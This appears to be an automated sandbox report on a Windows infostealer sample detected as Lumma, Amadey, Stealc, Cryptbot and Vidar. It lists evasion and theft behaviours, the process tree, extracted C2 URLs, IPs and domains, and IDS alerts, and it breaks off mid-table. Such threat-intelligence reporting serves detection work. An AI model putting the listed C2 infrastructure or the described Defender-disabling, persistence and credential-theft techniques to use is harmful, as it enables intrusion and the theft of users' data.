Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1553295
MD5:	3d8fd510f87bb030174fccccb5ad853a
SHA1:	cea55fd0da2ec6e86441f46af6bd1f2959aa4a16
SHA256:	e442940afa41e32dd14e913b6820b5a0150bfacd17ae8f097f8fa5ae7cb0176e
Tags:	exeStealcuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3D8FD510F87BB030174FCCCCB5AD853A)

chrome.exe (PID: 7536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2224,i,3759947729293040694,8998904290489431999,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 5716 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDGCFHIDAKE.exe (PID: 2896 cmdline: "C:\Users\user\DocumentsDGCFHIDAKE.exe" MD5: 88505AD4161E0D9D694C97E8515321BE)

skotes.exe (PID: 8136 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 88505AD4161E0D9D694C97E8515321BE)

skotes.exe (PID: 4076 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 88505AD4161E0D9D694C97E8515321BE)

923e9bc10d.exe (PID: 7768 cmdline: "C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe" MD5: 86D624FECB21CD16F980AFF2ED50776B)

e41fd24755.exe (PID: 7484 cmdline: "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe" MD5: E47A5C8C0AB719A7631D0E1D599C5ED3)

d357e68128.exe (PID: 6912 cmdline: "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe" MD5: 3D8FD510F87BB030174FCCCCB5AD853A)

skotes.exe (PID: 5184 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 88505AD4161E0D9D694C97E8515321BE)

46218a4a07.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe" MD5: 57836E781F269AE53641D17A59DD5484)

e41fd24755.exe (PID: 3796 cmdline: "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe" MD5: E47A5C8C0AB719A7631D0E1D599C5ED3)

d357e68128.exe (PID: 7328 cmdline: "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe" MD5: 3D8FD510F87BB030174FCCCCB5AD853A)

e41fd24755.exe (PID: 7952 cmdline: "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe" MD5: E47A5C8C0AB719A7631D0E1D599C5ED3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "crisiwarny.store", "founpiuer.store", "navygenerayk.store", "presticitpo.store", "necklacedmny.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["QUERY|rd|AAAA|IN|home.fvteja5sb.top", "0/80/home.fvteja5sb.top", "home.fvteja5sb.top", "fvteja5sb.top", "QUERY|rd|A|IN|home.fvteja5sb.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000003.2901679632.00000000083B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2949042324.00000000061C1000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2121304688.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2809403050.00000000054D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2852306554.0000000000949000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2633659651.0000000000E89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2923215795.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2837150546.0000000000942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.2727708833.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2647213490.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2902060448.0000000000CF1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2647481918.0000000000E89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2082774843.00000000006F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2810878088.0000000000941000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2634220328.0000000000E89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2777649984.0000000000947000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1679108909.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2792881195.0000000000944000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2792252572.0000000000942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2771398347.0000000000947000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2039853324.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2777872776.0000000000947000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2680020394.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2038805274.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7300	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7300	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7300	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e41fd24755.exe PID: 7484	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e41fd24755.exe PID: 7484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e41fd24755.exe PID: 7484	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e41fd24755.exe PID: 7484	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d357e68128.exe PID: 6912	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: d357e68128.exe PID: 6912	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: e41fd24755.exe PID: 3796	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: e41fd24755.exe PID: 3796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e41fd24755.exe PID: 3796	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d357e68128.exe PID: 7328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: d357e68128.exe PID: 7328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.skotes.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.DocumentsDGCFHIDAKE.exe.6f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.1f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e41fd24755.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7300, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7536, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e41fd24755.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:44:14.821003+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49755	TCP
2024-11-10T19:44:53.516395+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49763	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:29.312721+0100	2028371	3	Unknown Traffic	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:31.208876+0100	2028371	3	Unknown Traffic	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:33.240713+0100	2028371	3	Unknown Traffic	192.168.2.4	49972	188.114.97.3	443	TCP
2024-11-10T19:45:34.644708+0100	2028371	3	Unknown Traffic	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-10T19:45:36.524607+0100	2028371	3	Unknown Traffic	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-10T19:45:39.489159+0100	2028371	3	Unknown Traffic	192.168.2.4	50005	188.114.97.3	443	TCP
2024-11-10T19:45:42.969588+0100	2028371	3	Unknown Traffic	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:45:43.556767+0100	2028371	3	Unknown Traffic	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:45.488794+0100	2028371	3	Unknown Traffic	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:47.424986+0100	2028371	3	Unknown Traffic	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:45:47.600737+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-10T19:45:49.187619+0100	2028371	3	Unknown Traffic	192.168.2.4	50054	188.114.97.3	443	TCP
2024-11-10T19:45:51.184126+0100	2028371	3	Unknown Traffic	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-10T19:45:55.518495+0100	2028371	3	Unknown Traffic	192.168.2.4	50057	188.114.97.3	443	TCP
2024-11-10T19:46:00.217801+0100	2028371	3	Unknown Traffic	192.168.2.4	50060	188.114.97.3	443	TCP
2024-11-10T19:46:00.955415+0100	2028371	3	Unknown Traffic	192.168.2.4	50062	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:30.529313+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:32.082310+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:44.811414+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:46.104167+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:48.133663+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:46:01.472032+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50062	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:30.529313+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:44.811414+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:46:01.472032+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50062	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:32.082310+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:46.104167+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50041	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:29.312721+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	49949	188.114.97.3	443	TCP
2024-11-10T19:45:31.208876+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	49961	188.114.97.3	443	TCP
2024-11-10T19:45:33.240713+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	49972	188.114.97.3	443	TCP
2024-11-10T19:45:34.644708+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-10T19:45:36.524607+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-10T19:45:39.489159+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50005	188.114.97.3	443	TCP
2024-11-10T19:45:42.969588+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:45:43.556767+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:45.488794+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:47.424986+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:45:47.600737+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-10T19:45:49.187619+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50054	188.114.97.3	443	TCP
2024-11-10T19:45:51.184126+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-10T19:45:55.518495+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50057	188.114.97.3	443	TCP
2024-11-10T19:46:00.217801+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50060	188.114.97.3	443	TCP
2024-11-10T19:46:00.955415+0100	2057120	1	Domain Observed Used for C2 Detected	192.168.2.4	50062	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:18.708280+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49886	185.215.113.43	80	TCP
2024-11-10T19:45:29.140472+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49943	185.215.113.43	80	TCP
2024-11-10T19:45:39.263969+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49999	185.215.113.43	80	TCP
2024-11-10T19:45:44.688283+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50034	185.215.113.43	80	TCP
2024-11-10T19:45:55.259633+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50056	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:46:09.206778+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50064	185.228.235.50	80	TCP
2024-11-10T19:46:11.313637+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50065	185.228.235.50	80	TCP
2024-11-10T19:46:20.691012+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50076	185.228.235.50	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.473982+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	57530	1.1.1.1	53	UDP
2024-11-10T19:45:42.793959+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	59785	1.1.1.1	53	UDP
2024-11-10T19:46:00.180670+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	55619	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.503443+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	59332	1.1.1.1	53	UDP
2024-11-10T19:45:42.824220+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	53738	1.1.1.1	53	UDP
2024-11-10T19:46:00.218904+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	59258	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.606475+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	57273	1.1.1.1	53	UDP
2024-11-10T19:45:42.898537+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	53649	1.1.1.1	53	UDP
2024-11-10T19:46:00.300907+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.4	51806	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-10T19:45:28.633225+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.4	60853	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

